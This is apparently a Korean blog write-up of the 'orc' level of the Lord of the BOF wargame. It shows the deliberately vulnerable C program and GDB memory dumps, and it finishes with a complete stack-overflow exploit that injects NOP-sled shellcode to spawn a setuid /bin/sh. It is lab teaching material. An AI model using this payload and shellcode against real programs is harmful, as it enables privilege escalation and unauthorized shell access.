- User : goblin
- 문제 : orc
orc.c의 소스코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | /* The Lord of the BOF : The Fellowship of the BOF - orc - egghunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); // Vulnerability!!! printf("%s\n", buffer); } | cs |
egghunter 주석 부분을 보면 환경변수를 초기화하는 것을 확인할 수 있습니다. 실제 GDB를 이용하여 환경변수에 해당하는 메모리 영역을 확인해 보면 아래와 같이 모두 0으로 되어 있는 것을 확인할 수 있습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | (gdb) x/76x $esp 0xbffffab4: 0xbffffac0 0xbffffc42 0x00000015 0xbfbfbfbf 0xbffffac4: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbffffad4: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbffffae4: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0x00000000 . . . (gdb) 0xbffffe44: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe54: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe64: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe74: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe84: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe94: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffea4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffeb4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffec4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffed4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffee4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffef4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff04: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff14: 0x00000000 0x00000000 0x00000000 0x00000000 | cs |
그럼으로 이전 문제와 같이 환경변수를 이용하여 문제를 해결할 수 없습니다. 따라서 argv 즉, 매개변수를 이용하여 문제를 해결해야 합니다. 그리고 argv[1] 즉, 첫번째 매개변수 문자열의 48번째 위치가 0xbf가 아니면 프로그램이 종료됩니다. 따라서 Little Endian으로 RET의 마지막 값에 0xbf를 집어 넣어야 합니다.
Step 1. GDB를 이용하여 buffer의 크기를 확인해 보면 40 Byte라는 것을 확인할 수 있고 차례대로 SFP, RET가 위치해 있는 것을 확인할 수 있습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | (gdb) b *0x80485c2 Breakpoint 1 at 0x80485c2 (gdb) r `python -c 'print "\xbf"*48'` Starting program: /home/goblin/tmp/orc `python -c 'print "\xbf"*48'` Breakpoint 1, 0x80485c2 in main () (gdb) x/76x $esp 0xbffffab4: 0xbffffac0 0xbffffc42 0x00000015 0xbfbfbfbf 0xbffffac4: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbffffad4: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbffffae4: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0x00000000 0xbffffaf4: 0xbffffb34 0xbffffb40 0x40013868 0x00000002 0xbffffb04: 0x08048450 0x00000000 0x08048471 0x08048500 (gdb) x/x $ebp+4 0xbffffaec: 0xbfbfbfbf | cs |
Step 2. GDB를 이용하여 RET 값에 이이서 A 문자를 넣고 주소 값을 확인합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | (gdb) r `python -c 'print "\xbf"*48+"A"*100'` Starting program: /home/goblin/tmp/orc `python -c 'print "\xbf"*48+"A"*100'` Breakpoint 1, 0x80485c2 in main () (gdb) x/76x $esp 0xbffffa54: 0xbffffa60 0xbffffbde 0x00000015 0xbfbfbfbf 0xbffffa64: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbffffa74: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbffffa84: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0x41414141 0xbffffa94: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffaa4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffab4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffac4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffad4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffae4: 0x41414141 0x41414141 0x41414141 0x41414141 | cs |
Step 3. 위에서 확인한 주소 범위 중에 중간 정도의 값을 선택하고 해당 주소 값을 RET에 집어 넣으면 main()이 return되면서 해당 주소로 이동한 뒤, NOP을 지나 shellcode가 실행되게 만들면 문제가 해결됩니다. 다음과 같은 payload를 만들 수 있습니다.
1 2 3 4 | [goblin@localhost goblin]$ ./orc `python -c 'print "A"*44+"\xb4\xfa\xff\xbf"+"\x90"*100+"\x31\xc0 \xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46 \x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8 \xdc\xff\xff\xff/bin/sh"'` |
※ argv[1]의 값이 buffer에 복사되기 때문에 RET 뒤에 값이 실제 argv[1]의 메모리 영역이라 생각할 수 있지만, 실제 argv[1]의 메모리 영역은 buffer에서 특정 지점만큼 떨어져 있습니다. 정확한 개념은 wolfman 문제에서 다루겠습니다.
'WarGame > LOB' 카테고리의 다른 글
[LOB] wolfman :: argv[2]를 이용한 BOF (0) | 2016.04.05 |
---|---|
[LOB] orc :: argv를 이용한 BOF (0) | 2016.04.04 |
[LOB] cobolt :: 환경변수를 이용한 BOF (0) | 2016.04.04 |
[LOB] gremlin :: 환경변수를 이용한 BOF (0) | 2016.04.04 |
[LOB] gate :: Basic Buffer Overflow (0) | 2016.04.04 |